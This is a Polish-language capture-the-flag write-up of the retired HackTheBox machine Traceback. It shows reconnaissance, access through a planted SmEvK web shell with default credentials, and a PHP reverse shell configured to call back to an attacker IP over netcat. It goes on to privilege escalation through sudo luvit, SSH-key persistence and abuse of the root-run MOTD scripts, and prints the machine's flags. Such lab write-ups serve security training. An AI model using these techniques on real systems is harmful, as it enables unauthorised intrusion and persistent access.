Writeup: Maszyna HackTheBox Traceback

Uwaga: Zgodnie z polityką HTB dozwolone jest publikowanie rozwiązań wyłącznie wycofanych maszyn. Maszyna opisana w tym artykule - Traceback - spełnia ten warunek.

Machine Info

1. TLDR

Sauna graph

2. Przygotowanie

Przygotujmy przydatne zmienne:

export IP=10.10.10.181

3. Skanowanie i rozpoznanie

Na początek użyłem narzędzia nmap do identyfikacji otwartych portów:

t4wny0wl@whitehatlab$ nmap -A $IP -T3 -oN 01.nmap.txt -Pn
Nmap scan report for 10.10.10.181
Host is up (0.48s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.16 (93%), Linux 3.18 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Android 4.2.2 (Linux 3.4) (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8888/tcp)
HOP RTT       ADDRESS
1   226.00 ms 10.10.14.1
2   224.00 ms 10.10.10.181

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 12 15:37:49 2020 -- 1 IP address (1 host up) scanned in 94.58 seconds

Jednym z otwartych portów był 80, na którym działała usługa http. Uruchomiłem więc narzędzie gobuster w celu identyfikacji interesujących zasobów:

t4wny0wl@whitehatlab$ /opt/gobuster/gobuster dir -u $IP --wordlist=/usr/share/wordlists/directory-list-2.3-medium.txt | tee 02.gobuster.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.181
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/06/13 20:37:55 Starting gobuster
===============================================================
/server-status (Status: 403)
===============================================================
2020/06/13 21:14:31 Finished
===============================================================

Czekając na wyniki gobustera, uruchomiłem narzędzie nikto do przeskanowania serwera w celu identyfikacji znanych podatności:

t4wny0wl@whitehatlab$ nikto -h $IP -nossl
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          10.10.10.181
+ Target Hostname:    10.10.10.181
+ Target Port:        80
+ Start Time:         2020-06-13 19:33:20 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x459 0x5911796d5b788
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD
+ OSVDB-3233: /icons/README: Apache default file found.
+ 6545 items checked: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2020-06-13 19:45:32 (GMT2) (732 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Niestety wyniki skanowania narzędziami gobuster oraz nikto nie dostarczyły istotnych informacji. Czekając jednak na wyniki tych skanowań miałem odrobinę czasu, żeby przejrzeć źródło strony:

WebPage Source

Natrafiłem tutaj na ciekawy fragment:

<!--Some of the best web shells that you might need ;)-->

Czym są “najlepsze webshelle”? Poszukałem znalezionego komentarza w wyszukiwarce Google. Pierwszym rezultatem było repozytorium WebShells należące do użykownika Xh4H. W opisie tego repozytorium można było znaleźć ten sam komentarz.

Zbudowałem więc prosty słownik zawierający nazwy webshelli użytkownika Xh4H. Następnie ponownie uruchomiłem narzędzie gobuster w celu ujawnienia istniejącego webshella:

$ /opt/gobuster/gobuster dir -u $IP -w ./04.wordlist-shells.txt | tee 05.gobuster.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.181
[+] Threads:        10
[+] Wordlist:       ./04.wordlist-shells.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/06/13 22:57:48 Starting gobuster
===============================================================
/smevk.php (Status: 200)
===============================================================
2020/06/13 22:57:49 Finished
===============================================================

Na serwerze znajdowała się zatem instancja webshella SmEvK.

4. Uzyskanie dostępu

Odwiedziłem stronę http://10.10.10.181/smevk.php i zalogowałem się używając domyślnego użytkownika i hasła (admin: admin). Uzyskałem dostęp do panelu backdoora, jak na zrzucie ekranu poniżej.

Smevk Shell

5. Utrzymanie dostępu

W celu utrzymania dostępu do systemu, przygotowałem własny webshell:

$ cp /usr/share/webshells/php/php-reverse-shell.php ./

W pliku php-reverse-shell.php zainicjalizowałem zmienne $ip i $port:

$ip = '10.10.14.207';  // CHANGE THIS
$port = 4444;       // CHANGE THIS

Następnie przesłałem na serwer plik php-reverse-shell.php wykorzystując do tego panel SmEvK dostępny pod adresem http://10.10.10.181/smevk.php

Na maszynie atakującego przygotowałem netcata:

$ nc -nvlp 4444

i odwiedziłem stronę http://10.10.10.181/php-reverse-shell.php w celu nawiązania połączenia.

Uzyskałęm dostęp do shella…

Web shell connected

i wykonałem jego upgrade:

$ SHELL=/bin/bash script -q /dev/null

6. Eskalacja uprawnień: webadmin ⇨ sysadmin

Spróbowałem wypisać dozwolone i zabronione polecenia dla użytkownika webadmin:

webadmin@traceback:/$ sudo -l
Password: 
Matching Defaults entries for webadmin on traceback:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit

Miałem więc dostęp do interpretera języka Lua (luvit). Wszedłem na stronę gtfobins i poszukałem sposobu, żeby go wykorzystać do podniesienia uprawnień. Utworzyłem zatem i zapisałem prosty skrypt na atakowanej maszynie:

webadmin@traceback:/$ echo 'os.execute("/bin/sh")' > /dev/shm/lua-shell.lua

Pozostało podnieść uprawnienia…

webadmin@traceback:/$ sudo -u sysadmin /home/sysadmin/luvit /dev/shm/lua-shell.lua
<ysadmin /home/sysadmin/luvit /dev/shm/lua-shell.lua
$

…i zgodnie z przyjętą praktyką wykonać upgrade shella.

SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm

W katalogu użytkownika mogłem znaleźć i odczytać plik z flagą:

sysadmin@traceback:/$ cat ~/user.txt
47608c5d6cd357005d3c4b42d8878fd8

7. Eskalacja uprawnień: sysadmin ⇨ root

W celu zagwarantowania wygodniejszego dostępu do przejętej maszyny, dodałem dodać swój klucz publiczny do pliku /home/sysadmin/.ssh/authorized_keys

echo '<public key>' >> /home/sysadmin/.ssh/authorized_keys

Polecenia sudo -l oraz find / -perm /4000 2>/dev/null nie dostarczyły żadnych użytecznych informacji. Spróbowałem zatem przesłać skrypt linpeas.sh na atakowaną maszynę:

t4wny0wl@whitehatlab$ cp /opt/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh ./
t4wny0wl@whitehatlab$ scp ./linpeas.sh sysadmin@$IP:/home/sysadmin/linpeas.sh

Połączyłem się z serwerem przez ssh:

t4wny0wl@whitehatlab$ ssh sysadmin@$IP
$ SHELL=/bin/bash script -q /dev/null

Następnie na atakowanej maszynie uruchomiłem skrypt linpeas.sh:

$ cd /home/sysadmin/
$ chmod +x linpeas.sh
$ ./linpeas.sh | tee linout.txt

Niestety na standardowym wyjściu nie znalazłem niczego co wpadłoby w oko.

Przejrzałem więc listę procesów:

$ ps aux

Znalazłem interesujący wpis informujący o istnieniu procesu powłoki, który z uprawnieniami roota wykonywał skrypt przywracający nieznane mi pliki w katalogu /etc/update-motd.d/

root      21477  0.0  0.0   4628   880 ?        Ss   15:58   0:00 /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/

Przyjąłem założenie, że jeżeli ktoś odświeża istnienie tych plików, to są one co najmniej istotne lub nawet krytyczne z jakiegoś punktu wiedzenia. Sprawdziłem więc jeszcze raz standardowe wyjście skryptu linpeas.sh:

$ cat /dev/shm/linout.txt | grep update-motd
/etc/update-motd.d/50-motd-news
/etc/update-motd.d/10-help-text
/etc/update-motd.d/91-release-upgrade
/etc/update-motd.d/00-header
/etc/update-motd.d/80-esm
-rwxr-xr-x 1 root root 4264 Aug 25  2019 /var/backups/.update-motd.d/50-motd-news
-rwxr-xr-x 1 root root 982 Aug 27  2019 /var/backups/.update-motd.d/10-help-text
-rwxr-xr-x 1 root root 299 Aug 25  2019 /var/backups/.update-motd.d/91-release-upgrade
-rwxr-xr-x 1 root root 981 Aug 25  2019 /var/backups/.update-motd.d/00-header
-rwxr-xr-x 1 root root 604 Aug 25  2019 /var/backups/.update-motd.d/80-esm
/etc/update-motd.d/50-motd-news
/etc/update-motd.d/10-help-text
/etc/update-motd.d/91-release-upgrade
/etc/update-motd.d/00-header
/etc/update-motd.d/80-esm

Pojawiło się podejrzenie, że mógłbym dodać coś do jednego z plików w /etc/update-motd.d/

Ale do czego służyły te pliki? Były to skrypty mechanizmu Message of the Day:

sysadmin@traceback:~$ cat /etc/update-motd.d/00-header 
#!/bin/sh
#
#    00-header - create the header of the MOTD
#    Copyright (C) 2009-2010 Canonical Ltd.
#
#    Authors: Dustin Kirkland <kirkland@canonical.com>
#
#    This program is free software; you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation; either version 2 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License along
#    with this program; if not, write to the Free Software Foundation, Inc.,
#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

[ -r /etc/lsb-release ] && . /etc/lsb-release


echo "\nWelcome to Xh4H land \n"

Interesujące informacje znalazłem w dokumentacji. Znajduje się tam fragment:

Executable scripts in /etc/update-motd.d/* are executed by pam_motd(8) 
as the root user at each  login(...).

Pojawiła się więc myśl, że prawdopodobnie mógłbym uruchomić jeden ze skryptów jako root przy jednoczesnym uwierzytelnieniu się przez ssh. Musiałem pamiętać też o tym, że pliki w katalogu /etc/update-motd.d/ są przywracane co 30 sekund.

Przygotowałem trzy okna powłoki:

A następnie wcisnąłem klawisz Enter w powłoce ‘ignition’. W tym momencie zostało nawiązane połączenie w powłoce ‘root’.

Uzyskałem uprawnienia roota i wykonałem upgrade shella:

SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm

Pozostało poszukać flagi, która znajdowała się pod ścieżką /root/root.txt

root@traceback:/# cat /root/root.txt 
fce553ce0fe469fcabf60b316d6812ed

8. Podsumowanie

Do zdobycia flag doprowadziły poniższe okoliczności: